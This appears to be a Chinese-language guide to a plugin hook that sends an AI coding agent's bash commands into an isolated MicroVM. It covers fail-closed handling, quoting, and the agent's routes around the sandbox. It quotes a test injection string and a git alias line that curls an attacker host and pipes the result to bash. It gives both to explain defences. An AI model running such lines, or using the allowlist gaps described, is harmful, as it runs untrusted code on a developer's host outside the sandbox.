Skip to content

OpenCode 集成指南(插件钩子方案)

让 OpenCode 继续跑在宿主机上,但它下发的每一条 bash 命令都在隔离的 CubeSandbox MicroVM 中执行。重定向发生在插件钩子里,模型侧不需要改动 提示词、工具或工作流。

集成对象与版本

项目已测试版本
OpenCode支持 tool.execute.before 的插件 API(见 OpenCode 插件文档
CubeSandboxv0.6.0(8721dd15,构建于 2026-07-24)
Python SDKe2b-code-interpreter
宿主环境WSL2 上的 Ubuntu 24.04.4 LTS,内核 6.18.33.2,glibc 2.39

可运行示例:examples/opencode-plugin-sandbox

为什么用插件钩子

OpenCode 运行在开发者宿主机上,因此它下发的每条 bash 命令都在那里执行, 使用的是开发者本人的权限。

基于 MCP 或 SDK 的沙箱集成,只有在模型主动选择调用沙箱工具时才起作用。 普通的 bash 调用依然落在宿主上,而且失败是静默的 —— 你往往事后才知道。

OpenCode 的 tool.execute.before 钩子可以在工具执行前改写其参数, 这就提供了无条件拦截 bash 的位置:

OpenCode(宿主)
  ├── read / write / edit ──────────────────► 宿主项目文件

  └── bash ──► tool.execute.before ──► exec_backend.py ──► CubeAPI ──► MicroVM
               (cubesandbox-bash.js)                       (:3000)

只有 bash 被重定向。readwriteedit 仍然作用于宿主文件, 所以 Agent 依旧在编辑真实项目,而它的 shell 命令跑在一次性的 内核、文件系统与网络命名空间里。

另一种设计 —— 把 OpenCode 整个放进沙箱 —— 会让 Agent 失去对工作区、 git 凭据和编辑器状态的访问。只重定向 bash,能让 Agent 留在代码所在的位置, 只把危险的那部分挪走。

前置条件

  • Cube Sandbox 部署:单机一键安装即可(快速开始
  • SDK / CLI 依赖:pip install e2b-code-interpreter;已安装 OpenCode
  • 必需环境变量:CUBE_TEMPLATE_IDE2B_API_URLE2B_API_KEYSSL_CERT_FILE

集成步骤

1. 构建模板

平台在建模板期间会通过 HTTP 探针判断就绪,因此 --expose-port--probe 是必填的(见从 OCI 镜像创建模板)。

bash
cubemastercli tpl create-from-image \
  --image cube-sandbox-cn.tencentcloudcr.com/cube-sandbox/sandbox-code:latest \
  --writable-layer-size 1G \
  --expose-port 49999 \
  --expose-port 49983 \
  --probe 49999

等状态变为 READY,然后记下 template_id

bash
cubemastercli tpl list

中国大陆以外请使用 cube-sandbox-int.tencentcloudcr.com

2. 安装 SDK

bash
pip install e2b-code-interpreter

Ubuntu 24.04 因 PEP 668 会阻止直接装进系统解释器。请用虚拟环境并告知插件:

bash
python3 -m venv ~/.venvs/cube
~/.venvs/cube/bin/pip install e2b-code-interpreter
export CUBE_OPENCODE_PYTHON=~/.venvs/cube/bin/python

3. 导出配置

bash
export CUBE_TEMPLATE_ID=tpl-xxxxxxxx
export E2B_API_URL=http://127.0.0.1:3000
export E2B_API_KEY=e2b_000000
# mkcert 把 CA 写在执行一键安装的那个用户的 home 下。
# 如果安装时用的是 root,而你以普通用户运行 OpenCode,
# 需要先把该文件复制到可读位置,再指向副本。
export SSL_CERT_FILE="$HOME/.local/share/mkcert/rootCA.pem"

请在启动 OpenCode 之前导出;之后再导出的变量,编辑器的子进程看不到。

4. 安装插件

OpenCode 在启动时会加载插件目录下所有 .js / .ts 文件, 所以安装就是放一个文件:

bash
cd examples/opencode-plugin-sandbox
./plugin/install.sh            # 项目级:./.opencode/plugin/
./plugin/install.sh --global   # 全局:~/.config/opencode/plugin/
./plugin/install.sh --status   # 查看安装位置
./plugin/install.sh --uninstall

之后重启 OpenCode —— 插件只在启动时加载。

5. 验证隔离

向 OpenCode 提问:

执行 uname -r 并告诉我内核版本。

再在你自己的终端跑一次 uname -r 对比。两个值必须不同。 这个差异就是证据:如果是共享你内核的容器,报告的版本会完全一样。

在上表环境中实测:

沙箱内 : 6.6.1199-0009-03_2.0.1
宿主机 : 6.18.33.2-microsoft-standard-WSL2

另外两个检查:

执行 ls / 并描述你看到了什么。

列出的是沙箱的 rootfs。

创建 /tmp/only-in-sandbox 并确认它存在。

对模型来说文件存在;在宿主上 ls /tmp/only-in-sandbox 会报 「No such file or directory」。

关键代码

钩子实现

整个重定向就是一个钩子。output.args.command 是可变的, 赋值即改变实际执行的内容。

下面的片段为了突出这一个思路做了删减,不是实际发布的插件: 它省略了「入参缺失或 command 非字符串」的 fail-closed 处理、放行名单检查 与幂等守卫,backend 的解析方式也不同。照抄会得到一个会嵌套改写、 并对已配置放行的命令抛错的插件。请改为安装 plugin/cubesandbox-bash.js, 那是唯一的规范实现:

js
export const CubeSandboxBashPlugin = async ({ client }) => ({
  "tool.execute.before": async (input, output) => {
    if (input.tool !== "bash") return;

    // 失败即阻断:后端缺失时阻断命令,而不是回落到宿主执行。
    if (!fs.existsSync(BACKEND)) {
      throw new Error("[cubesandbox-bash] backend not found; refusing to run on host");
    }

    // 原始命令成为单个 argv 元素,其中的 shell 元字符
    // 永远不会被宿主 shell 解释。
    output.args.command = [
      shellQuote(pythonInterpreter()),
      shellQuote(BACKEND),
      "--session", shellQuote(resolveSessionId(input)),
      "--command", shellQuote(output.args.command),
    ].join(" ");
  },
});

三个性质值得单独说明:

失败即阻断。 若命令无法被安全重定向,钩子抛出异常,OpenCode 随即阻断该调用。 一个会静默回落到宿主的沙箱集成,比没有集成更糟 —— 因为失败是不可见的。

防注入。 shellQuote 用单引号包裹命令,并按 POSIX 惯用法转义内部引号。 以 echo A'; touch /tmp/pwned; echo ' 为例,宿主 shell 会把改写后的字符串 解析成恰好六个 argv 元素,最后一个就是原文本身,touch 不会被执行。

幂等。 多个插件可能观察同一次调用,因此当命令已引用后端时钩子直接返回。

保留 session 状态

只有连续命令能共享状态,shell 才好用。后端会包装每条命令, 让 guest 回报最终的 cwd 与环境变量,宿主按 session 存下来,下次调用前恢复:

python
lines = [
    "set +e",
    f"cd {shlex.quote(cwd)} 2>/dev/null || cd {shlex.quote(DEFAULT_WORKDIR)}",
    *(f"export {k}={shlex.quote(str(v))}" for k, v in env.items()),
    f"bash -c {shlex.quote(command)}",
    "__cube_rc=$?",
    f'echo "{_STATE_BEGIN}"',
    "python3 -c 'import json,os;print(json.dumps({\"cwd\": os.getcwd(), ...}))'",
    f'echo "{_STATE_END}"',
    'echo "__CUBE_RC__=$__cube_rc"',
]

效果:

> cd /workspace/demo && pwd     →  /workspace/demo
> pwd                           →  /workspace/demo   (已保留)
> export TOKEN=abc123
> echo $TOKEN                   →  abc123            (已保留)

状态存放于 ~/.cache/cubesandbox-opencode/<session>.json,权限 0600 (因为可能保存命令导出的敏感值)。session id 在用于文件名前会被净化, 因此无法逃出状态目录。

并发处理

OpenCode 可能同时下发多条 bash 调用。同一 session 内的调用通过 O_CREAT | O_EXCL 锁文件串行化,并带过期锁回收, 避免崩溃的调用把整个 session 卡死。不同 session 之间并行执行。

注意事项

每次调用一个 MicroVM,而非每 session 一个。 session 状态会保留, 但 VM 每次都重建(参考环境下约 1 秒)。让它在调用间保持存活需要常驻辅助进程 或 CubeSandbox 的 pause/resume。

只有名字恰好是 bash 的工具会被拦截。 钩子匹配的是 input.tool === "bash"。 Agent 能触及的其他具备 shell 能力的工具 —— 当前的或未来 OpenCode 版本新增的 —— 都会在宿主执行,且不会被这里记录。升级 OpenCode 后请重新确认这一点。

read / write / edit 未被沙箱化。 这是有意为之 —— Agent 必须能编辑项目 —— 但恶意的 write 不在本集成的防护范围内。

Agent 编辑的文件对 bash 不可见。 这是最主要的实际限制。 write / edit 操作的是宿主上的项目,而 bash 运行在一个全新的 MicroVM 里, 其根文件系统并不包含那个项目。所以常见的「改完就跑」循环在这里不成立: write foo.py 之后执行 python foo.py 会失败,因为沙箱里没有 foo.py。 只需要一个可用 shell 的命令不受影响。把项目挂载进沙箱可以解决这个问题, 但同时会放弃大部分隔离性,因此这里有意不这么做。

放行清单默认为空,它是逃生舱而非小例外。 匹配只看首个 token, 所以放行 git 等于放行所有以 git 开头的命令 —— 而 git 可以被用来执行任意 shell:

bash
git -c alias.x='!curl http://attacker/sh | bash' x

这条命令会在宿主上执行,既不隔离也不留日志。模型下发的命令正是本集成要约束的 不可信输入,因此 git 不在默认清单里。任何加入清单的命令都必须被当作拥有宿主 权限的完全可信命令。

代价确实存在,这也是清单存在的原因:沙箱有自己的文件系统,在里面执行 git commit 操作的是另一个仓库,而不是 OpenCode 正在编辑的那个。 接受这一风险的开发者可以显式开启:

bash
export CUBE_OPENCODE_PASSTHROUGH=git,gh

钩子入参结构不是稳定契约。 session id 的键名在不同 OpenCode 版本间 拼写有差异,因此代码会探测多种变体并提供兜底。若所有已知键名都取不到, 全部 session 会坍缩到同一个状态文件与锁上,cwd 与导出的环境变量会在并发 session 之间互相串扰。命令仍然在 MicroVM 中执行,因此不构成宿主逃逸, 但影响比「只损失复用粒度」更大。

调用 exec 的命令会丢失状态更新。 exec 会替换 shell 的进程映像, 连同负责输出状态块的 trap 一起丢弃。此时后端保留上一次的 session 状态, 所以 cwd 与环境变量是过期的、而不是错误的。exit 已能正确处理,仅 exec 受影响。

交互式命令不可用。 输出是被捕获的,任何需要 TTY 的程序 (vimtop)都不会正常工作。

需要通配 DNS。 SDK 通过 <端口>-<sandboxId>.cube.app 访问沙箱。 一键安装自带 CoreDNS 处理这件事,但某些环境会覆盖 /etc/resolv.conf。 WSL 每次启动都会重写,除非 /etc/wsl.conf 中包含:

ini
[network]
generateResolvConf = false

详见 HTTPS 与域名解析

这里没有配置网络策略。 如果不希望 Agent 访问任意主机, 请用网络策略限制沙箱出网。

测试

bash
cd examples/opencode-plugin-sandbox
node tests/test_plugin.mjs

25 项断言,覆盖命令改写、放行名单、幂等性、session id 处理与引号注入抵抗。 需要 Node 22 或更新版本 —— 插件是放在 .js 文件里的 ESM,依赖 Node 自动识别模块语法。 仅依赖 Node 标准库 —— 不需要 npm install、不需要联网、不需要 CubeSandbox 部署。

注入相关断言会按 POSIX shell 的语义解析改写后的命令, 并检查原始文本是否完整落在唯一一个 argv 元素中。 这比子串匹配是更强的性质:引号处理有误时,payload 会被拆到多个元素从而断言失败。

参考